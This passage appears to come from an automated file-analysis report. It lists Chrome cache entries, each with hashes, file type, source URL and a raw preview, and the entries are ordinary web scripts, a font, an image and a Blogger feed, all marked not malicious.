o=r(x.M),n=e=>x.bEex.bE*x.jj,i=(x.wr,o[x.Ek])(x.Nj);t[x.rk]=function(e,t){t<x.cj&&t>x.wr&&(e/=t,t=x.cj);const r=i[x.iK](),o=Date[x.XY]()-n(e);return r[x.IY](e=>e>o)[x.YY]<t},t[x.Kk]=function(){i[x.rg]()},t[x.xk]=function(e){const t=i[x.iK](),r=Date[

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (846)
Category:	downloaded
Size (bytes):	431427
Entropy (8bit):	5.585055395008889
Encrypted:	false
SSDEEP:	6144:JMHlN0OuMt7lTa9gJdTMImwpH727e7c7H7w7t7W7p7e7u717L7E7g7D7jr1v7DF:GHBs3
MD5:	54C7EB40E42CD866071AD60D09DE3B37
SHA1:	684F8AE66C15D0171309E598ED672164639284F2
SHA-256:	7E5DAF95262E898197C8CCCC97BFE8FF0EAF3BA11D06C363E46EA43280006475
SHA-512:	3572560988FA8AC6842E37759AFEDD638253E1A4DD779A37F7DCFB1271A589A61A9EA3DB89E24DC357DFCC0C8A7C9367D42A300E3A227A2251825977E0CBEF99
Malicious:	false
Reputation:	low
URL:	https://www.mycimalive.com/
Preview:	<!DOCTYPE html>.<html class='rtl' dir='rtl' lang='ar' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>.<head>.<script async='async' crossorigin='anonymous' src='https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5999781818075238'></script>.<meta content='width=device-width, initial-scale=1, maximum-scale=1' name='viewport'/>.<script src='https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js' type='text/javascript'></script>.<meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>. Chrome, Firefox OS and Opera -->.<meta content='' name='theme-color'/>. Windows Phone -->.<meta content='' name='msapplication-navbutton-color'/>.<meta content='blogger' name='generator'/>.<link href="https://www.mycimalive.com/favicon.ico" rel='icon' type='image/x-icon' />.<link href="https://www.mycimalive.com/" rel='canon

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18214
Entropy (8bit):	6.016249158796545
Encrypted:	false
SSDEEP:	384:Yfi34A7c9ahNLHjfjQszlARG4hA/4H702MveFYKhX+KKT3tBqL1VZwPTiQFLkxK:dI2c9aXJTw02MvwhXI3tBWTCNxcK
MD5:	E1887283D0FCEFF34B69C63049FA23A5
SHA1:	DC4C3920E70B1EB4F1012973DECC82F6487F3427
SHA-256:	65E1E4B7C4A7024E673F1A2A876345F5796B6EDFCA07DB8376CA2BC12C0386D5
SHA-512:	45684D229A09115B82CAA97C0FEE002FFA1AF8D48275902C6A96F314973D61DD8A955E88E5A3D24762F14BA8C965FF46E4E3A7E6E0003106C1FE94E2B89B90D2
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/getconfig/sodar?sv=200&tid=gda&tv=r20241009&st=env
Preview:	{"sodar_query_id":"yZ0NZ76_Id3CjuwPnpGf-Ak","injector_basename":"sodar2","bg_hash_basename":"PSoM0kjsD_lTTkrp_J6fX9q3toeH8Fj3j7xA0l2GQAA","bg_binary":"hlIbXUk1MB8LSRnAVWvhDfRvWMaTI5gR1C40KRuishNjxGbXn5R7obnQR+fv+BOLQ2FYQtGHNW0lilnKckowvK29TH0fc557BTNpCso+44Gc9vD/qx2Wt0YpE8ShLlay2kI+l39+FhuOtHkO/LtwmO9oOwKz10SNeZXzjGIqkxrY/EtEV15lvUyvxlrD7+ElMM3Kc+Cz+rRFVUDPAmDT5loS+xJqD2EPXwDd6f2krgu7D6qRgmoqm4QEEO12oN87rJEDekZp/YyhyNXyRwKqHejUQ2uBwW62TNkVaT5VDg954QgNSk36TRJf5GORusS9yh7N9tJCdOcRLnOTlE8dvbwMvuI1Cx4fciXGkN4MdlOyTHIw/6+ZAHVK5z/51GgHmhuL3FgzqAT3C2wvao7Rn2m/f+qPHwyaiaMAUW9zJE9B95ex49GTO3sAdeXXFVwOZhFkeX1vB96y+GtjOj9Wato2S+TT9mAID8tpoh0GuU08LsEnFXfk36CmklnV+d5GRXPkZgxUly3CbVaH4Z4JUfOWEEoYGRtgg4qr4Je2LRBReWuvrrYJOZLfW6OK3NypyA9BzQk+jNQTYjz+8unWqrYtHgHuEn3dzXqL8irWjw9sLCNZtzS4S/4h+gKMC3Fq07ySzstc32VZ+EFom0t1j/Px1lypFXDXc6YZAN3CPlHyRDS2ozgW2W1NFgGDhFesM6GPkJ0g9tUR/vA+cy9vn9nxclmYgDuU5goitOszU71t3ZJOiSr/ysIHmjgL1yDV+HZv3yvg4p9uMSWgWAwm1OmmWGa8HnO3Z/tIMduYjvJg6SMeSMSVimScboUoQ34iYvvESr08tfP8i1z96

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 8844, version 1.0
Category:	downloaded
Size (bytes):	8844
Entropy (8bit):	7.971998803112775
Encrypted:	false
SSDEEP:	192:0lVlrdIYCSso+egheI8BX47iQPYHKFySrn32rKoSnzQk:0lbdIYfso+egheI8+7iQgWyE32rEv
MD5:	AF1DC8B2CAE448831467302BB8EBA209
SHA1:	F07040613804E0440BD34C32682BA576F9A5BF17
SHA-256:	A16A687F3E55917FA09A5592D74EFCB5287F1A8AE73BBF14C0A7F1CEA911ECC2
SHA-512:	90394D9A10150BD23DA1DF1E2D63E3242423EF4CD0D7066E5B4E975A0F20874CB0B38DD6344D314ACF758F55F3B3497E7418AB2997F3F63073CAB9879A5A342B
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/tajawal/v10/Iurf6YBj_oCad4k1l8KiHrRpiYlJ.woff2
Preview:	wOF2......".......l(.."/.........................X..^..P.`..t.....4....~..6.$..x. .....s....YUF.......qD.I.(.rEZ...J.1.....iu..'.h..2{..2....LIA..b....e......^_..[.0...s-.._>....D'...,."Q..GOz....f.nZ.M\|.K..}$.4gOK...h....Ory.o..}3+.I.Q.$<..r6.".P.T.........T.....3..D...........F^.]o..w/.......-ZOU....#<..AXK0.......6.R.......;yb#...A.R.".m.~W.C.y....!.m.R.D..tM..;J.4.V.i`........1KbD.c...M..y.r8l..`z........Z.p.wq$B..F..>.....O..\|....A....J>.!......O...F.G..\!..qX..:...t.C..j..:.TN....F.(.........+.zP.y........9.>R.......B....:......[..x.v-O..y..]..%../mQ....8.6..kg].$.x]1].7....p.-B..X.).y..c....7.o.#.2..D......I..d.t. T\|8RR....%%H..8...............A..ZCp..Vo.}w.8(..\|....p..C..B..v.d..O.\<K..1..O.9A...2.>...........#S.`..@......,.,...x9T..P.ND..{.E..N..rr......S..$Y....Q4!..c_.....d?...u......Q.h...8.xd* P:..V6v..@...K{3......P....q....w..\.7~.$..e..f...!..?..$...o..w......4.K........J.......r.o..A.b....~`_.m.M.h.........d....2D.

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=3, software=Google], baseline, precision 8, 200x252, components 3
Category:	downloaded
Size (bytes):	9668
Entropy (8bit):	7.9459576828067835
Encrypted:	false
SSDEEP:	192:puGc+jCqQHwVJrlUPutsmUWVa0BZTUiKk2BgFVZh9U9+x:puN+jCZHwVBKmUKa0BZUiK/gFHh9UG
MD5:	ECF2162D8C7DC022BEFD4F7F1D1F5C66
SHA1:	BC8440EC4E6AE7FA437679BAF3B2D3F322B955CD
SHA-256:	343CE91D40C8802067F505750C59CD9FA1BE303E75F56351A805291560424775
SHA-512:	A5F59E3EE6298E03A89224EBB78986E7CFCE13DF4A136203A42709FC6691766EF1812DE7C9B8327FC89F74D057C031BF8206D1AA083D19AA3551F8EDB9159B3D
Malicious:	false
Reputation:	low
URL:	https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanjg5FQ_WcSXnLlNefHn3XPYMDHeE5JSNftuLC2MPDfG0uIKhbOrY_s0IYSMkaMYBx2UzQIMtWZ9HrV69ghm9O9FGMZPmcnXhh3_nRf4wQuZLXWElkNagBZditi7At4XQBJUWxkBpf2QqVbm1WQx70Ux-cuT_3V1ixUBBeFy-YiLB0k1MbhT223HO6Yh1/s1600/images%20(29).jpeg
Preview:	......JFIF.............lExif..II.......1.......2...............i.......:.......Google............0220.....................................................................( ..%..."1!&)+.....383-7(-.+...........-% %.------------------------------------------------+..........."........................................E........................!1.AQ."aq..2.....B..#Rr..b......S...DT...$3................................+........................!1.A."Qa.2q...#$.............?.....u`..V..:e.A<..>.&..f....m...T.D.$.........aZ\.e .7...`D..<m....H....+..:..U"y..U..I..`.?eQ....9@....`6.&3xT.......X..(....g..Z5...0......l....:.....;..E....KjO...w...IF....-.-.YB..$..Kj..k..U.4./.{........I...h..,.$..... i..W...]..p.YR..Q.!{.'.\|..c\Y....L...1...S...........0H.......R.....2L..6hd].&F.y.....f....-..X..'.S?Z.vd....{!....t.%..&...)..Q.z....J....Q.02...$wz.DG.R..`..d..#.r1..e*.....X.q}.6...Yod`.H...=&.\.....fY.. ..RH..../!.s1.......C..[...;....;...]f...............M.Kw.....8....[.

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (47832), with no line terminators
Category:	dropped
Size (bytes):	47835
Entropy (8bit):	5.325090315377985
Encrypted:	false
SSDEEP:	768:fOA5rWkl0eLCz9qduOFLLmWB45c0DCY6cfQDJA29WQ26ctwFBbyqUKTUPevxzxv0:f35rWklXzLYBwLdnsjA+gqkv8d50URT
MD5:	FD2D7CC58345DE8C3084555F907A8C2E
SHA1:	BCB19F85D3890EF46D562B2944D3339671676ADB
SHA-256:	45B654D8E0FB234104646BE63678AAFA2896D986E64E34E8DD46B285A38C9209
SHA-512:	584E37E6841D52B86112EB9D9DFA050C086CDD7B61C03BF3B4E67E80581AF19ACD302A9518DD5569F25A59DD81F40C97C88A264B8F749067BA8E7CC915070DD6
Malicious:	false
Reputation:	low
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[13044],{335700:(t,e,i)=>{i.r(e),i.d(e,{UIGallery:()=>u,UI_GALLERY_CLASSNAME:()=>h.UI_GALLERY_CLASSNAME,UI_GALLERY_CONTENT_CLASSNAME:()=>h.UI_GALLERY_CONTENT_CLASSNAME,UI_GALLERY_INNER_CLASSNAME:()=>h.UI_GALLERY_INNER_CLASSNAME,uiGetGallery:()=>c});var o=i(558137),l=i(898848),n=i(939646),r=i(972332),_=i(593159),a=i(754866),h=i(15614);const d=(0,o.makeSharedState)("ui-gallery",(()=>({galleries:{},incIndex:0})),{version:0});function c(t){const e=(0,a.domData)((0,a.ge)(t),"gallery-id");return e&&d().galleries[e]}class u{_checkSizesAndUpdate(){return 0!==this._width&&0!==this._itemWidth\|\|(this._width=Math.round((0,a.getSize)(this._el)[0]),this._itemWidth=(0,a.getSize)(this._items[0])[0],this._itemFullWidth=this._itemWidth+this._itemOffset),!(0===this._width\|\|0===this._itemWidth)}_initScroll(){(this._opts.scrollX\|\|this._opts.scrollY)&&(this._opts.isModernTransitionsEnabled\|\|(0,r.addEvent)(this._innerCont,"DOMMouseScro

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65533), with no line terminators
Category:	downloaded
Size (bytes):	153913
Entropy (8bit):	5.4741520833892645
Encrypted:	false
SSDEEP:	3072:Bw9dGELBZq0SdAVkGaoxVDNiynDWs6LjsqWXk5AyQCBnBJviGuQpOB1P6A+Vuow9:i9dPa1DWXcrxiP1hX7ow7qO
MD5:	F5A623A7A622C9A7D0DC56BFD6AA07BD
SHA1:	1018D4389864006D4B7A03B6FEE354338E15470D
SHA-256:	14312CDEB70539201899090002454DEBF2C4EBD225E7FD92A235B9EE0432C9D5
SHA-512:	91D06BC4ADA3D33045ACA42DE4A2DED2A153EA2E4DAD819D63511600135405C569F7953FE2D1EAC2E022D3F65ED90531257F24E13BFBED259A7EE8979353F9DF
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/web/chunks/c85c1923.355d4461.js
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[4149],{867317:(e,t,i)=>{i.d(t,{Likes:()=>M});var o=i(754866),r=i(972332),s=i(342879),a=i(593159),n=i(939646),d=i(458840),l=i(898848),c=i(270959),h=i(810068),u=i(866467),p=i(890332),_=i(527095),v=i(865556),g=i(857461),y=i(42858),m=i(711615),P=i(286824),I=i(826619),w=i(153663),b=i(15874),S=i(829913),C=i(870465),f=i(90345),A=i(317216),F=i(540462);const M={toggle(e,t,i,s){if((0,r.cancelEvent)(t),(0,l.isObject)(window.cur)&&(0,l.isFunction)(cur.viewAsBox))return cur.viewAsBox();if(vk.widget&&!vk.id)return window.Widgets.oauth();const a=(0,o.hasClass)(e,"active");(0,o.addClass)(e,"animate"),this.clientUpdate(i,_.LikeButtonTypes.like,a?-1:1,!a),this.handleAuthorLikeInReply(i,e,a);const{objectType:n}=(0,p.parseLikeObjectId)(i),d=(0,p.isObjectTypeIsVideo)(n),c=d?(0,I.getVideoTrackCode)():void 0,h={act:a?"a_do_unlike":"a_do_like",object:i,hash:s,list:cur.pvListId,wall:2,from:this._getReference(i),from_widget:vk.widget?1:0

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65533), with no line terminators
Category:	dropped
Size (bytes):	153913
Entropy (8bit):	5.4741520833892645
Encrypted:	false
SSDEEP:	3072:Bw9dGELBZq0SdAVkGaoxVDNiynDWs6LjsqWXk5AyQCBnBJviGuQpOB1P6A+Vuow9:i9dPa1DWXcrxiP1hX7ow7qO
MD5:	F5A623A7A622C9A7D0DC56BFD6AA07BD
SHA1:	1018D4389864006D4B7A03B6FEE354338E15470D
SHA-256:	14312CDEB70539201899090002454DEBF2C4EBD225E7FD92A235B9EE0432C9D5
SHA-512:	91D06BC4ADA3D33045ACA42DE4A2DED2A153EA2E4DAD819D63511600135405C569F7953FE2D1EAC2E022D3F65ED90531257F24E13BFBED259A7EE8979353F9DF
Malicious:	false
Reputation:	low
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[4149],{867317:(e,t,i)=>{i.d(t,{Likes:()=>M});var o=i(754866),r=i(972332),s=i(342879),a=i(593159),n=i(939646),d=i(458840),l=i(898848),c=i(270959),h=i(810068),u=i(866467),p=i(890332),_=i(527095),v=i(865556),g=i(857461),y=i(42858),m=i(711615),P=i(286824),I=i(826619),w=i(153663),b=i(15874),S=i(829913),C=i(870465),f=i(90345),A=i(317216),F=i(540462);const M={toggle(e,t,i,s){if((0,r.cancelEvent)(t),(0,l.isObject)(window.cur)&&(0,l.isFunction)(cur.viewAsBox))return cur.viewAsBox();if(vk.widget&&!vk.id)return window.Widgets.oauth();const a=(0,o.hasClass)(e,"active");(0,o.addClass)(e,"animate"),this.clientUpdate(i,_.LikeButtonTypes.like,a?-1:1,!a),this.handleAuthorLikeInReply(i,e,a);const{objectType:n}=(0,p.parseLikeObjectId)(i),d=(0,p.isObjectTypeIsVideo)(n),c=d?(0,I.getVideoTrackCode)():void 0,h={act:a?"a_do_unlike":"a_do_like",object:i,hash:s,list:cur.pvListId,wall:2,from:this._getReference(i),from_widget:vk.widget?1:0

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2868)
Category:	dropped
Size (bytes):	430169
Entropy (8bit):	5.5821163985782345
Encrypted:	false
SSDEEP:	12288:wosugg2aXn2yn2S7PPpSCSGcUJtCXUxO/3sOKw1CqpH36X5kNzhqPytvFaOrw1y7:wosugg2aXn2yn2S7PPpStGcUJtCXUxOV
MD5:	C99FEF5B5348B29C6617B074969BF7B9
SHA1:	92EA16144E76256B6E98A62EFD1FACE152482272
SHA-256:	21EE1BCEE6D8C9FCFFBFE8C70CDEF5510A0464D8AC06CED64D2180B246838A9E
SHA-512:	2C2ED93F507DDD0816A42ACC881E14141C5DD4AC570C84D034814BA61EADE736709217ACC332DB9013D56971C170F68A5A05ECD7D1988748A620087F5B20DDAA
Malicious:	false
Reputation:	low
Preview:	(function(sttc){'use strict';var aa,ba=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};function ca(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");} .var da=ca(this),ea=typeof Symbol==="function"&&typeof Symbol("x")==="symbol",fa={},ia={};function ja(a,b,c){if(!c\|\|a!=null){c=ia[b];if(c==null)return a[b];c=a[c];return c!==void 0?c:a[b]}} .function ka(a,b,c){if(b)a:{var d=a.split(".");a=d.length===1;var e=d[0],f;!a&&e in fa?f=fa:f=da;for(e=0;e<d.length-1;e++){var g=d[e];if(!(g in f))break a;f=f[g]}d=d[d.length-1];c=ea&&c==="es6"?f[d]:null;b=b(c);b!=null&&(a?ba(fa,d,{configurable:!0,writable:!0,value:b}):b!==c&&(ia[d]===void 0&&(a=Math.random()*1E9>>>0,ia[d]=ea?da.Symbol(d):"$jscp$"+a+

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (61366), with no line terminators
Category:	dropped
Size (bytes):	61369
Entropy (8bit):	5.561415393876951
Encrypted:	false
SSDEEP:	768:Hw7seaKE4E7STCU7y5aqMfalj2w4FnWisJNjLsPMCj7uGaXLKRDj9LQ6X0KoAm4N:AscE4E6J7UvG/Z8zV9zLw+/2Xk9ivuGx
MD5:	24A5C9D23B686AE8D37C358D1931EEA7
SHA1:	53D5870D3FFE79738F554E737572596EEAC4D770
SHA-256:	415A7624A8E30C994B97C5BF7B594464185F63DECC8DABBF536864172B5BDFD2
SHA-512:	A97F7BDA48E7B21815D9B0AB72541B8CB0B88668BF8F6C24F2D03D1ABDFE57F32C65322922319E5365541781FF5A55DCABDADCB0304EEC0127465287CBA7B3E3
Malicious:	false
Reputation:	low
Preview:	.(()=>{"use strict";var __webpack_modules__={475653:(e,_,t)=>{t.d(_,{default:()=>h});var o=t(593159),i=t(972332),s=t(575753),n=t(754866),l=t(939646);function r(e){if(!this.inited)return!1;if(e\|\|(e=window.event),this.isHorizontal){const _=Math.floor((this.contWidth()-this.scrollWidth)Math.min(1,(e.screenX-this.moveX)/(this.scrollbarSize-this.innerWidth-6)));(0,o.isFunction)(this.options.onScroll)&&this.options.onScroll(this.obj.scrollLeft-_,this),this.obj.scrollLeft=_}else{const _=Math.floor((this.contHeight()-this.scrollHeight)Math.min(1,(e.screenY-this.moveY)/(this.scrollbarSize-this.innerHeight-6)));(0,o.isFunction)(this.options.onScroll)&&this.options.onScroll(this.obj.scrollTop-_,this),this.obj.scrollTop=_}return this.update(!0),!1}function a(){return!!this.inited&&(this.moveY=this.moveX=this.isDown=!1,this.isOut&&this.contOut(),(0,i.removeEvent)(document,"mousemove",this.mouseMove),(0,i.removeEvent)(document,"mouseup",this.mouseUp),(0,n.setStyle)(document.body,"cursor","defaul

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32132)
Category:	dropped
Size (bytes):	93068
Entropy (8bit):	5.28051990432937
Encrypted:	false
SSDEEP:	1536:fYcvR3VhH37Ha7EmakRhIHAZkCDy08otU6myJXXxMZyYk0AjrzCqlKDh9YhnaTdl:fY8MaW2b+UELKTqnAdiq
MD5:	0652DA382B6FCEB033DFE2B6C06D4D11
SHA1:	002DA8CBE90FCF32FBDEBB72386125079E3805EE
SHA-256:	7FA0D5C3F538C76F878E012AC390597FAECAABFE6FB9D459B919258E76C5DF8E
SHA-512:	B329C7B3EACB836583544F54D281D52544430A2A9FB7AD06716396EED5F24B2F2822BD078E5DCAF60BFB06AFE04A3E0D0D5A5CE6F9AC364306189EADD95A5430
Malicious:	false
Reputation:	low
Preview:	/! jQuery v1.9.0 \| (c) 2005, 2012 jQuery Foundation, Inc. \| jquery.org/license /(function(e,t){"use strict";function n(e){var t=e.length,n=st.type(e);return st.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n\|\|"function"!==n&&(0===t\|\|"number"==typeof t&&t>0&&t-1 in e)}function r(e){var t=Tt[e]={};return st.each(e.match(lt)\|\|[],function(e,n){t[n]=!0}),t}function i(e,n,r,i){if(st.acceptData(e)){var o,a,s=st.expando,u="string"==typeof n,l=e.nodeType,c=l?st.cache:e,f=l?e[s]:e[s]&&s;if(f&&c[f]&&(i\|\|c[f].data)\|\|!u\|\|r!==t)return f\|\|(l?e[s]=f=K.pop()\|\|st.guid++:f=s),c[f]\|\|(c[f]={},l\|\|(c[f].toJSON=st.noop)),("object"==typeof n\|\|"function"==typeof n)&&(i?c[f]=st.extend(c[f],n):c[f].data=st.extend(c[f].data,n)),o=c[f],i\|\|(o.data\|\|(o.data={}),o=o.data),r!==t&&(o[st.camelCase(n)]=r),u?(a=o[n],null==a&&(a=o[st.camelCase(n)])):a=o,a}}function o(e,t,n){if(st.acceptData(e)){var r,i,o,a=e.nodeType,u=a?st.cache:e,l=a?e[st.expando]:st.expando;if(u[l]){if(t&&(r=n?u[l]:u[l].data)){st.isArray(t)?t=t.concat(

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (11255), with no line terminators
Category:	dropped
Size (bytes):	11258
Entropy (8bit):	5.543593072660095
Encrypted:	false
SSDEEP:	192:7jH3Bte1k7M9wJpsnWjWNb/WRDNMNMS2+ESPvLeP9iS5z3ZUTdAdXSbR2S:P3l7qu+WKNbuZNMNMS2+ESPvccSd3mTx
MD5:	90AF051D351CB59F8C701E5875A52479
SHA1:	C0F613A5752D00EB4AA78CEEC67C96F4E7DFEB74
SHA-256:	54A3B222F3E007D90659AB155C5C1EC87ECE13BCD3356BA31B3F14194DFA96A9
SHA-512:	5CB2D413406F13DBD12E2765987C93340D4E631C61DE6528D084F646C282ECC352C102DF3480E289BAE4C9EA48BCC21BF343BCE2989E9F903FBC0F4186524FC7
Malicious:	false
Reputation:	low
Preview:	.(()=>{"use strict";var e,s,c,a,n,r,b={64597:(e,s,c)=>{var a=c(636576),n=c(524957),r=c(932153),b=c(557907),_=c(111922);window.vk?.stDomain&&(c.p=window.vk.stDomain+"/dist/"),window.Videoview=window.videoview=n.default,window.VideoPlaylist=r.VideoPlaylist,window.TimeCodesList=_.TimeCodesList,window.VideoInitializer=b.default;try{window.stManager.done(window.jsc("web/videoview.js"))}catch(e){}requestIdleCallback((()=>{try{(0,a.statlogsValueEvent)("entries_requests",1,"videoview","web")}catch{}}),{timeout:5e3})}},_={};function __webpack_require__(e){var s=_[e];if(void 0!==s)return s.exports;var c=_[e]={exports:{}};return b[e].call(c.exports,c,c.exports,__webpack_require__),c.exports}__webpack_require__.m=b,e=[],__webpack_require__.O=(s,c,a,n)=>{if(!c){var r=1/0;for(t=0;t<e.length;t++){for(var[c,a,n]=e[t],b=!0,_=0;_<c.length;_++)(!1&n\|\|r>=n)&&Object.keys(__webpack_require__.O).every((e=>__webpack_require__.O[e](c[_])))?c.splice(_--,1):(b=!1,n<r&&(r=n));if(b){e.splice(t--,1);var u=a();voi

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2008)
Category:	downloaded
Size (bytes):	13020
Entropy (8bit):	5.338335125035746
Encrypted:	false
SSDEEP:	192:pl/66sGOASROqI3wgh5MXnYY9EAhMmK3qzfaGxCLLgIJQaYmx:rnsGN6JIVs3LLK3qzf6gIZYmx
MD5:	D1F231B50B152372A6C3100F4AED1973
SHA1:	1BF10951BE06DA03D1371A904E19C0419F2A3637
SHA-256:	9DEC95894AF322B087AB6E87F9C8CE66D849646CF33B375D33C957F4569ED081
SHA-512:	00093B7FC4AFFA2D2230622F5D7DA69730246B74620AD4DE30AC64E41FB9AC927AFD2AB426034D71DC85A3DFEE9A46E73DF48DA7E2636A54579EA9AAAC4CAFF6
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/sodar/sodar2/232/runner.html
Preview:	<!DOCTYPE html>.<meta charset=utf-8><script>.(function(){'use strict';function m(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var p=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function aa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var r=aa(this),u=typeof Symbol==="function"&&typeof Symbol("x")==="symbol",v={},w={};function x(a,b,c){if(!c\|\|a!=null){c=w[b];if(c==null)return a[b];c=a[c];return c!==void 0?c:a[b]}}.function y(a,b,c){if(b)a:{var e=a.split(".");a=e.length===1;var f=e[0],h;!a&&f in v?h=v:h=r;for(f=0;f<e.length-1;f++){var d=e[f];if(!(d in h))break a;h=h[d]}e=e[e.length-1];c=u&&c==="es6"?h[e]:null;b=b(c);b!=null&&(a?p(v,e,{config

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (2183)
Category:	downloaded
Size (bytes):	2499
Entropy (8bit):	5.555296024988899
Encrypted:	false
SSDEEP:	48:vQIAi5UQvj+e8CjIHbtHqoxar6pIZ9HUIjkFDHk9y8CHAQxYK/JBL:l5Keb07LxamE1kQyyQxYKjL
MD5:	A9626DBBECA850569164C41C5242E786
SHA1:	211276C68447FC02A9F18E8CF8A6A7D6F37087BB
SHA-256:	2E1570E0CDADF511BF9B75FB4580FDDA38D3F2B692393CEC5A44BFA7F20351C2
SHA-512:	F19069E7B434F1FBE5FF33CF757674D69043B4309273D5E4CFCCD0FE237B399F065715E9F690D89114A2E6CCDCED4AEDA4EDB4FFD3464E5D35CB8EF87624573B
Malicious:	false
Reputation:	low
URL:	https://www.mycimalive.com/feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945587001&data&_=1728945587002
Preview:	// API callback.jQuery11100049902415236919184_1728945587001({"version":"1.0","encoding":"UTF-8","feed":{"xmlns":"http://www.w3.org/2005/Atom","xmlns$openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns$blogger":"http://schemas.google.com/blogger/2008","xmlns$georss":"http://www.georss.org/georss","xmlns$gd":"http://schemas.google.com/g/2005","xmlns$thr":"http://purl.org/syndication/thread/1.0","id":{"$t":"tag:blogger.com,1999:blog-6282888993036066443"},"updated":{"$t":"2024-10-14T23:30:51.391+03:00"},"category":[{"term":"...... ...... ......"},{"term":"........"},{"term":"........"},{"term":".... ... .. ....."},{"term":"..... .. ......"},{"term":"..... .... ...."},{"term":".... ........."},{"term":"..."},{"term":".... ..... .. ...."},{"term":"..... ...."},{"term":"...... ......."},{"term":"....... 2"},{"term":"..... ......"},{"term":".

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (11255), with no line terminators
Category:	dropped
Size (bytes):	11258
Entropy (8bit):	5.543718125271148
Encrypted:	false
SSDEEP:	192:7jH3Bte1k7M93JpsnWjWNb/WRDNMNMS2+ESPvLeP9iS5z3ZUTdAdXSbR2S:P3l7qZ+WKNbuZNMNMS2+ESPvccSd3mTx
MD5:	B58F3E4B0D34C481591CEE06F92BECAC
SHA1:	2DF602C7C9D314C740678C4D9C928116D82B6AD2
SHA-256:	F25E2BD63C9371A3CA63541FA1D80F5FD7D8824DA9B1FA3DE8448FCFC2EE42F1
SHA-512:	CF438DFC7EDE393E34485F57E7A6704940CC9A818E8B0218EE788A3EEBFE2D3AFA1875046A3DD56733C4272822E8BE0C91FF30FEBD73AB46FBC397AE908A100F
Malicious:	false
Reputation:	low
Preview:	.(()=>{"use strict";var e,s,c,a,n,r,b={64597:(e,s,c)=>{var a=c(636576),n=c(524957),r=c(932153),b=c(557907),_=c(111922);window.vk?.stDomain&&(c.p=window.vk.stDomain+"/dist/"),window.Videoview=window.videoview=n.default,window.VideoPlaylist=r.VideoPlaylist,window.TimeCodesList=_.TimeCodesList,window.VideoInitializer=b.default;try{window.stManager.done(window.jsc("web/videoview.js"))}catch(e){}requestIdleCallback((()=>{try{(0,a.statlogsValueEvent)("entries_requests",1,"videoview","web")}catch{}}),{timeout:5e3})}},_={};function __webpack_require__(e){var s=_[e];if(void 0!==s)return s.exports;var c=_[e]={exports:{}};return b[e].call(c.exports,c,c.exports,__webpack_require__),c.exports}__webpack_require__.m=b,e=[],__webpack_require__.O=(s,c,a,n)=>{if(!c){var 